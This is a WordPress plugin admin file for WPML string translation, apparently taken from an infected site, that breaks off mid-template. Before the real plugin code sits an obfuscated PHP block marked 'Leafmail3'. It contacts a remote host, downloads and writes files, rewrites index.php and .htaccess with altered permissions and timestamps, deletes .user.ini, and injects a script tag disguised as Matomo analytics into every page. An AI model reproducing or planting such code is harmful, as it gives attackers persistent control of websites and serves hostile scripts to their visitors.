Current File : /home/virtualki/22346/oldwp/wp-content/plugins/wpml-string-translation/menu/string-translation.php |
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
icl_st_reset_current_trasnslator_notifications();
if((!isset($sitepress_settings['existing_content_language_verified']) || !$sitepress_settings['existing_content_language_verified']) /*|| 2 > count($sitepress->get_active_languages())*/){
return;
}
if(isset($_GET['trop']) && $_GET['trop'] > 0){
include dirname(__FILE__) . '/string-translation-translate-options.php';
return;
}elseif(isset($_GET['download_mo']) && $_GET['download_mo']){
include dirname(__FILE__) . '/auto-download-mo.php';
return;
}
if(isset($_GET['status']) && preg_match("#".ICL_STRING_TRANSLATION_WAITING_FOR_TRANSLATOR."-(.+)#", $_GET['status'], $matches)){
$status_filter = ICL_STRING_TRANSLATION_WAITING_FOR_TRANSLATOR;
$status_filter_lang = $matches[1];
}else{
$status_filter = isset($_GET['status']) ? intval($_GET['status']) : false;
}
$context_filter = isset($_GET['context']) ? $_GET['context'] : false;
$search_filter = isset($_GET['search']) ? esc_html($_GET['search']) : false;
$exact_match = isset($_GET['em']) ? $_GET['em'] == 1 : false;
$icl_string_translations = icl_get_string_translations();
if(!empty($icl_string_translations)){
$icl_strings_in_page = icl_get_strigs_tracked_in_pages($icl_string_translations);
}
$active_languages = $sitepress->get_active_languages();
$icl_contexts = icl_st_get_contexts($status_filter);
/*
if($status_filter != ICL_STRING_TRANSLATION_COMPLETE){
$icl_contexts_translated = icl_st_get_contexts(ICL_STRING_TRANSLATION_COMPLETE);
}else{
$icl_contexts_translated = $icl_contexts;
}
*/
$icl_st_translation_enabled = $sitepress->icl_account_configured() && $sitepress->get_icl_translation_enabled();
$available_contexts = array();
if(!empty($icl_contexts)){
foreach($icl_contexts as $c){
if($c) $available_contexts[] = $c->context;
}
}
if(!empty($sitepress_settings['st']['theme_localization_domains']) && is_array($sitepress_settings['st']['theme_localization_domains'])){
foreach($sitepress_settings['st']['theme_localization_domains'] as $c){
if($c) $available_contexts[] = 'theme ' . $c;
}
}
$available_contexts = array_unique($available_contexts);
function _icl_string_translation_rtl_div($language) {
if (in_array($language, array('ar','he','fa'))) {
echo ' dir="rtl" style="text-align:right;direction:rtl;"';
} else {
echo ' dir="ltr" style="text-align:left;direction:ltr;"';
}
}
function _icl_string_translation_rtl_textarea($language) {
if (in_array($language, array('ar','he','fa'))) {
echo ' dir="rtl" style="text-align:right;direction:rtl;width:100%"';
} else {
echo ' dir="ltr" style="text-align:left;direction:ltr;width:100%"';
}
}
?>
<div class="wrap">
<div id="icon-wpml" class="icon32"><br /></div>
<h2><?php echo __('String translation', 'wpml-string-translation') ?></h2>
<?php $WPML_String_Translation->show_messages(); ?>
<?php if(isset($icl_st_po_strings) && !empty($icl_st_po_strings)): ?>
<p><?php printf(__("These are the strings that we found in your .po file. Please carefully review them. Then, click on the 'add' or 'cancel' buttons at the %sbottom of this screen%s. You can exclude individual strings by clearing the check boxes next to them.", 'wpml-string-translation'), '<a href="#add_po_strings_confirm">', '</a>'); ?></p>
<form method="post" action="<?php echo admin_url("admin.php?page=" . WPML_ST_FOLDER . "/menu/string-translation.php");?>">
<?php wp_nonce_field('add_po_strings') ?>
<?php if(isset($_POST['icl_st_po_translations'])): ?>
<input type="hidden" name="action" value="icl_st_save_strings" />
<input type="hidden" name="icl_st_po_language" value="<?php echo $_POST['icl_st_po_language'] ?>" />
<?php endif; ?>
<input type="hidden" name="icl_st_domain_name" value="<?php echo $_POST['icl_st_i_context_new']?$_POST['icl_st_i_context_new']:$_POST['icl_st_i_context'] ?>" />
<table id="icl_po_strings" class="widefat" cellspacing="0">
<thead>
<tr>
<th scope="col" class="manage-column column-cb check-column"><input type="checkbox" checked="checked" name="" /></th>
<th><?php echo __('String', 'wpml-string-translation') ?></th>
</tr>
</thead>
<tfoot>
<tr>
<th scope="col" class="manage-column column-cb check-column"><input type="checkbox" checked="checked" name="" /></th>
<th><?php echo __('String', 'wpml-string-translation') ?></th>
</tr>
</tfoot>
<tbody>
<?php $k = -1; foreach($icl_st_po_strings as $str): $k++; ?>
<tr>
<td><input class="icl_st_row_cb" type="checkbox" name="icl_strings_selected[]"
<?php if($str['exists'] || !isset($_POST['icl_st_po_translations'])): ?>checked="checked"<?php endif;?> value="<?php echo $k ?>" /></td>
<td>
<input type="text" name="icl_strings[]" value="<?php echo htmlspecialchars($str['string']) ?>" readonly="readonly" style="width:100%;" size="100" />
<?php if(isset($_POST['icl_st_po_translations'])):?>
<input type="text" name="icl_translations[]" value="<?php echo htmlspecialchars($str['translation']) ?>" readonly="readonly" style="width:100%;<?php if($str['fuzzy']):?>;background-color:#ffecec<?php endif; ?>" size="100" />
<input type="hidden" name="icl_fuzzy[]" value="<?php echo $str['fuzzy'] ?>" />
<input type="hidden" name="icl_name[]" value="<?php echo $str['name'] ?>" />
<?php endif; ?>
<?php if($str['name'] != md5($str['string'])): ?>
<i><?php printf(__('Name: %s', 'wpml-string-translation'), $str['name']) ?></i><br />
<?php endif ?>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<a name="add_po_strings_confirm"></a>
<p><input class="button" type="button" value="<?php echo __('Cancel', 'wpml-string-translation'); ?>" onclick="location.href='admin.php?page=<?php echo $_GET['page'] ?>'" />
<input class="button-primary" type="submit" value="<?php echo __('Add selected strings', 'wpml-string-translation'); ?>" />
</p>
</form>
<?php else: ?>
<p style="line-height:220%;">
<?php echo __('Select which strings to display:', 'wpml-string-translation')?>
<select name="icl_st_filter_status">
<option value="" <?php if($status_filter === false ):?>selected="selected"<?php endif;?>><?php echo __('All strings', 'wpml-string-translation') ?></option>
<option value="<?php echo ICL_STRING_TRANSLATION_COMPLETE ?>" <?php if($status_filter === ICL_STRING_TRANSLATION_COMPLETE):?>selected="selected"<?php endif;?>><?php echo $icl_st_string_translation_statuses[ICL_STRING_TRANSLATION_COMPLETE] ?></option>
<?php if(icl_st_is_translator()) :?>
